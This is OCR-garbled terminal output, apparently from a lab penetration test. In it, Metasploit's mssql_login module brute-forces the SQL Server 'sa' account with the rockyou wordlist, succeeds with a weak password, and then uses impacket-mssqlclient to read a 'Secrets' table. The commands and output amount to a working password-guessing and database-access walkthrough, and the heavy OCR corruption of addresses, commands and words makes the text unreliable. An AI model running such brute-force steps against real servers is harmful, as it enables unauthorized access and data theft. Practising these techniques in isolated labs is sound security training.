192.168.56.101:1433  LOGIN FATLED: WORKSTATIOM\za: 12345 (Incorrect: )
i Lo L somerna it (et )
1921165156, 101:1433 - LOGIN FAILED: WORKSTATIONsa:password (Incorrect:
1927168.56.101: 1433 - LOGIN FATLED: WORKSTATIOM\aa: 1ovaya (Incorrect: )
192.168.561101:1433  LOGIN FATLED: WORKSTATIOM\sa:princess (Incorrect: )

192.168.56.101:1433  LOGIN PAILED: MORKSTATIONsa- 1234567 (Incorrect: )
193.168.56.101:1433  LOGIN FATLED: WORKSTATIOMsa:rockyou (Incorrect )
152:168.56.101:1433 ~ LOGIN FATLED:

WORKETATIOMe3: 13345678 (Tncorrect: )
1633 - LOCIN FALLED: WORISTATIONs2:abe123 (Incorrect: )
1433 - LOGIN FALLED: WORISTATIONsa:nicole (Incorrect: )

19211681561 101:1433 - LOGIN FAILED: MORKSTATIOM\aa:dantel (ncorrect: )
193.168.56.101:1433  LOGIN FAILED: WORKSTATIOM\aa:babygirl (Incorract: )
192 1433~ LOGIN FALLED: WORKSTATION:3:monkey (Incorrect: )
192 1633 - LOGIN FALLED: WORISTATION S ovely (Incorrect )
102 1433 - LOGIN FALLED: WORISTATION3:Jessica. (Incorrec

101 1433 - LOGIN FALLED: WORISTATIONs8:650321 (Incorract: )
192 1433 ~ LOGIN FALLED: WORKSTATIONsa:michael. (Incorrect: )
192 1433~ LOGIN FALLED: WORKSTATIONs2:ashley (Incorract: )
153 1633 - LOGIN FALLED: WORISTATION3:querty (Incorrect: )
122 1433 - LOCIN FALLED: WORISTATIONsa: 111111 (Incorreet )
101 1433 - LOGIN FALLED: WORISTATIONSs: Llovew (Incorrect: )
192 1433~ LOGIN FALLED: WORISTATION52:000080 (Incorrect: )
153 1433 ~ LOGIN FAILED: WORKSTATION53. o (incorrect: )
192 1433 LOIN FAILEDS WORKSTATIOMsa: igger (Incorrects )
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metasplott ve.i.50-dov
256 explotts - 1283 suxiliary - 431 post
1610 payLoads - 49 encoders - 13 nops

= i1 9 evasion

Metasploit Documentation: https: //docs.metasploit. con/

B£6 > use auxiUary/scanner/assal/mssql_login
51 ewIn Mekaspont 6.4 - The Crénicoeision option within this module can o
B8 auxiliary(- S0/l 100) > set RAOSTS 192.168.56.101

RiOSTS = 192.168.56.101

8568 auxiliary(Co o c/ossl /s 10510) > set USERNAME sa
B66 auxiliary(-100 /44201 /ol 10010) > set PASS_FILE /uss/share/wordlist
S/rockyou. txt

PASS.FIVE = /use/share/wordlists/rockyou. txt

BTG abeiLiary( 1
O 10 56.101:1433 - o 10ptionva eatecrror one or o options fail
ea o validste: PASS FLE.

a6 sumdliary( 1 e >

BSE8 BucdtionyC ) e

7102 00,56 10171097 - 192.160.56. 10171433 - ML - starting authentica
tion'scamer

FH" 55 e 50, 1002033 - ho scive 08

) 192.268.56.101:1433
a: (Incorrect: )

7 168,56, 101:1033
21123055 (Tncorrect: )
T o2 ses 56, 10151033 - 192.168.56.10
212345 (Incorvect: )

T o2, 268,56 10151033

2112356789 (Tncorrect: )
T 02 168, 56.101 11433 - 192.168.56.10
a:password (Incorrect: )

TP io2 Mes. 5610171433 - 192.168.56. 10151433 - LOGIN FAILED: WORKSTATIOMs
a:iloveyou (Incorrect: )

Credentisl data will not be saved

192.168.56.10 ORKSTATIONS

- LouIw FAILEL

192.168.56.101:1433 - LOGIN FAILED: WORKSTATIOMS

- LOGIN FALLED: WORKSTATIONs

192.168.56.101:1633 - LOGIN FAILED: WORKSTATIOMS

- LOGIN FATLED: WORKSTATIONs
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)

[~ 192.168.56. - 192.168.56.101:1433 - LOGIN FATLED: WORKSTATION\s:

undam (Incorrec:

192.168.56. - 192.168.56.101:

433 - LOGIN FAILED: WORKSTATION\sa:fotos (Incorrect:

192.168.56.

- 192.168.56.101:1433 - LOGIN FAILED: WORKSTATION\sa:biggie (Incorrect:

192.168.56. - 192.168.56.101:1433 - LOGIN FAILED: WORKSTATION\s:

imee (Incorrect:

192.168.56.

11433 - 192.168.56.101:

433 ~ LOGIN FATLED: WORKSTATION\sa:yasmine (Incorrect
192.168.56.101:1433 - 192.168.56.101:1433 - LOGIN FAILED: WORKSTATION\sa:walmart (Incorrect
192.168.56.

$1433 - 192.168.56.101:1433 - LOGIN FAILED: WORKSTATION\s:

reasure (Incorrec

192.168.56.101:1433 - 192.168.56.101:

433 - LOGIN FATLED: WORKSTATION\sa:thesims (Incorrect
192.168.56.101:1433 - 192.168.56.101:1433 - LOGIN FAILED: WORKSTATION\sa:shawnl (Incorrect:

192.168.56. 433 - LOGIN FAILED: WORKSTATION\s

11433 - 192.168.56.101:

usty (Incorrect:

192.168.56. - 192.168.56.101:

433 - LOGIN FATLED: WORKSTATION\sa:pablito (Incorrect

192.168.56. - 192.168.56.101:1433 - LOGIN FAILED: WORKSTATIOM\sa:marquis (Incorrect

192.168.56.

)
192.168.56.

)
192.168.56.

)
192.168.56.

)
192.168.56.

- 192.168.56. - LOGIN FAILED: WORKSTATION\s.

reestyle (Incorre
- 192.168.56. - LOGIN FAILED: WORKSTATION\sa:candygirl (Incorre
- 192.168.56. - LOGIN FAILED: WORKSTATION\sa:blackjack (Incorre

- 192.168.56. - LOGIN FAILED: WORKSTATION\s.

msterdam (Incorre

- 192.168.56. - LOGIN FATLED: WORKSTATION\sa:alone (Incorrect:

192.168.56.
192.168.56.

- 192.168.56.101:1433 - Login Successful: WORKSTATION\sa:Passwordl

- Scanned 1 of 1 hosts (100% complete)

192.168.56. - Bruteforce completed, 1 credential was successful

192.168.56. - You can open an MSSQL session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed

msF6 auxiliary(-conner/nooql/nssgl toain) > I
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Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
oct 8 2022 05:58:25
Copyright (C)
2022 microsoft Corporation
Developer Edition (64-bit) on Windows Server 2022 Standard 10
.0 <x64> (Build 20348: ) (Hypervisor)

[+] Auxiliary module execution completed
msf6 auxiliary(-ni/noool/isoal ~o1) > impacket-mssqlclient sa:Password1@192.168.56.101
[+] exec: impacket-mssqlclient sa:Password1a192.168.56.101

Inpacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[+] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master

[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english

[*] ENVCHANGE(PACKETSIZE): OLd Value: 4095, New Value: 16192

[*] INFO(WIN-V3BONC4IM3F): Line 1: Changed database context to 'master’
[*] INFO(WIN-V3BONCAIM3F): Line 1: Changed language setting to us_english
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)

[!] Press help for extra shell commands

SQL> USE PenTestDB;

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: PenTestDB

[*] INFO(WIN-V3BONCAIM3F): Line 1: Changed database context to 'PenTestDB'
SQL> SELECT SecretName, SecretData FROM Secrets

SecretName SecretData
Secret. This is the cure to all illness
secret. This is the file that possesses all the

information about how to cure any illness known to man

sa> il
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